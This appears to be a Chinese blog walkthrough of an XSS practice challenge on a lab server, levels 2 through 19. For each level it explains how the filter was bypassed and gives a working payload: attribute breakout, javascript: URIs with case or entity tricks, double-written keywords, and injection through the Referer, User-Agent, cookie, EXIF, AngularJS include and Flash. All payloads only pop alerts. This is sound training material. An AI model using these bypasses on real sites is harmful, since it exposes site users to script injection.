XSS challenge

XSS challenge

其它XSS闯关:https://xss.haozi.me/#/0x00

Level2、

像第一关一样输入script标签失败了,查看源代码原来是显示的位置将<和>转换为了HTML实体&lt;&gt;

思路转换为input中进行注入,闭合html标签形成xss攻击:

1
2
<input name="keyword" value="">
payload:" onclick="alert(/xss/)

Level3、

输入上一关的Payload发现失败,右键查看页面源代码可以发现代码中的分号被转换为了HTML实体,使用单引号即可绕过。

1
2
3
4
5
<h2 align=center>没有找到和&quot; OnClick=&quot;prompt(/xss/)相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='&quot; OnClick=&quot;prompt(/xss/)'>
<input type=submit name=submit value=搜索 />
Payload:' onclick='alert(/xss/)

Level4、

没有看出什么特别,未过滤双引号、函数等,直接构造

1
" onclick="alert(/xss/)

Level5、

首先使用老师的测试语句进行测试:<script "'Oonn>,发现结果是

1
<input name=keyword  value="<scr_ipt "'oo_nn>">    #前端返回结果

看来对标签中的script以及标签中的事件进行了防范,事件o和n之间加了_,目前没有找到不是on开头的js事件。所以暂时下定论:JS的事件都是由on开头。转换思路,使用a标签用超链接的方式指向javascript伪协议进行触发。

1
Payload:"><a href="javascript:alert(/xss/)"> 

Level6、

测试结果与上题相同

1
<input name=keyword  value="<scr_ipt "'Oo_nn>">    #前端返回结果

使用上一题的Payload发现失败,查看源代码发现对href进行了防御

1
<input name=keyword  value=""><a hr_ef="javascript:alert(/xss/)"> ">

尝试对href进行大小写变换,成功

1
2
<input name=keyword  value=""><a HREF="javascript:alert(/xss/)">    #前端返回结果
Payload:"><a HREF="javascript:alert(/xss/)

Level7、

测试结果可以看出过滤了script以及o和n,这说明可以通过双写绕过使用事件

1
<input name=keyword  value="< "'on>"> #前端返回结果

Payload:

1
2
<input name=keyword  value="" onclick="alert(/xss/)"> #前端返回结果
" oonnclick="alert(/xss/)

Level8、

此关输入任何值,都会被添加到一个超链接的href中,直接考虑javascript伪协议,首先尝试javascript:alert(/xss/),发现s_c防御,直接将c改为HTML编码绕过检测。

1
2
3
<a href="javas&#99;ript:alert(/xss/)">友情链接</a>    #前端返回结果
Payload:
javas&#99;ript:alert(/xss/)

Level9、

此题测试输入如果不包含http://,则会认为链接不合法。将http://放在javascript伪协议后面注释掉即可

1
2
3
<a href="javas&#99;ript:alert(/xss/)//http://">    #前端返回结果
Payload:
javas&#99;ript:alert(/xss/)//http://

Level10、

这一关乍一看没有任何输入点,查看源代码发现有几个隐藏的input输入框,尝试对三个输入框的值都测试向后端发送,然后查看源码,发现t_sort中存在反射型xss注入点。且仅过滤掉了标签括号。可以尝试事件注入。

1
2
http://192.168.2.244/xss/xsstest/xss/level10.php?t_link=<script "'Oonn>&t_history=<script "'Oonn>&t_sort=<script "'Oonn>
<input name="t_sort" value="script "'oonn" type="hidden"> #前端返回结果

构造payload

1
2
<input name="t_sort"  value="" onclick="alert(/xss/)" type="" type="hidden">    #前端返回结果
192.168.2.244/xss/xsstest/xss/level10.php?t_sort=" onclick="alert(/xss/)" type=" #加入type使其可以显示

Level11、

同上一题操作,有四个隐藏input标签,通过测试发现t_sort标签可注入,且其过滤了左右闭合、双引号。

1
2
3
4
5
192.168.2.244/xss/xsstest/xss/level11.php?t_link=<script "'Oonn>&t_history=<script "'Oonn>&t_sort=<script "'Oonn>&t_ref=<script "'Oonn>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="&lt;script &quot;'Oonn&gt;" type="hidden">
<input name="t_ref" value="" type="hidden">

试了一下无法构成XSS注入。经过网上题解得知,是通过http头的referer字段注入。审计后台源码也发现,会从$_SERVER[‘HTTP_REFERER’]中获取字符串,并替换左右标签闭合为空。经过抓包测试也证明了这点。

wrXcmd.png

使用hackbar增加Referer字段:" onclick=alert(/xss/) type=",成功构成XSS。

Level12、

注入点在User-agent,测试:

1
2
3
<input name="t_ua"  value="script "'Oonn" type="hidden">
payload:
" onclick=alert(/xss/) type="

Level13、

Cookie注入,user=" onclick=alert(/xss/) type="

Level14、

链接挂掉了,此题考exif XSS注入。

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

将XSS写到Exif里(PowerExif)exif是PHP拓展,如果要用exif_read_data函数要记得开启拓展。

如下DEMO:

1
2
3
4
<?php 
$exif=exif_read_data('test.jpg');
var_dump($exif);
?>

在读取的时候就会导致XSS。但是这种情况在真实环境里出现的几率比较小。

Level15、

https://zhuanlan.zhihu.com/p/43451435

此题考察AngularJS中的ng-include类用法,通过指定src,可以包含一个html网页到当前页面,类似于php include。传入参数是src,这是审计源码看到的,不知道怎么猜传入的是src…

1
2
3
<body><span class="ng-include:"></span></body> #漏洞
payload:
http://192.168.2.244/xss/xsstest/xss/level15.php?src='level1.php?name=<img src=1 onerror=alert(/xss/)>'

Level16、

发现回显处可以注入了,经过测试发现script被替换为空格的HTML实体,空格也被替换为实体,尝试/替换空格,发现/也被替换为了HTML空格实体nbsp。尝试使用img标签,因为该注入位置属于标签闭合之中的值,不属于标签内的范围,属于数据,所以可以使用URL编码%0a代替空格绕过。

1
2
3
<center><&nbsp;&nbsp;"'oonn></center>
payload:
http://192.168.2.244/xss/xsstest/xss/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>

Level17、Level18

测试,构造payload

1
2
3
4
http://192.168.100.114/xss/xsstest/xss/level17.php?arg01=<script "'Oonn>&arg02=<script "'Oonn>
<embed src=xsf01.swf?&lt;script &quot;'Oonn&gt;=&lt;script &quot;'Oonn&gt; width=100% heigth=100%>
payload:
arg01= onclick=alert(1) &arg02=<script "'Oonn>

Level19、Flash XSS

测试后经过一些尝试发现无法成功,搜索WU发现是Flash XSS,需要Flash逆向分析。这里使用开源工具jpexs-decompiler,没学明白,直接献出Payload

1
2
3
4
http://192.168.100.114/xss/xsstest/xss/level19.php?arg01=<script "'Oonn>&arg02=<script "'Oonn>
<embed src="xsf03.swf?&lt;script &quot;'Oonn&gt;=&lt;script &quot;'Oonn&gt;" width=100% heigth=100%>
payload:
arg01=version&arg02=%3Ca%20href=%22javascript:alert(1)%22%3E11%3C/a%3E

https://blog.csdn.net/tutucoo/article/details/104151403?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~first_rank_v2~rank_v25-1-104151403.nonecase&utm_term=xss%E6%8C%91%E6%88%9819

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器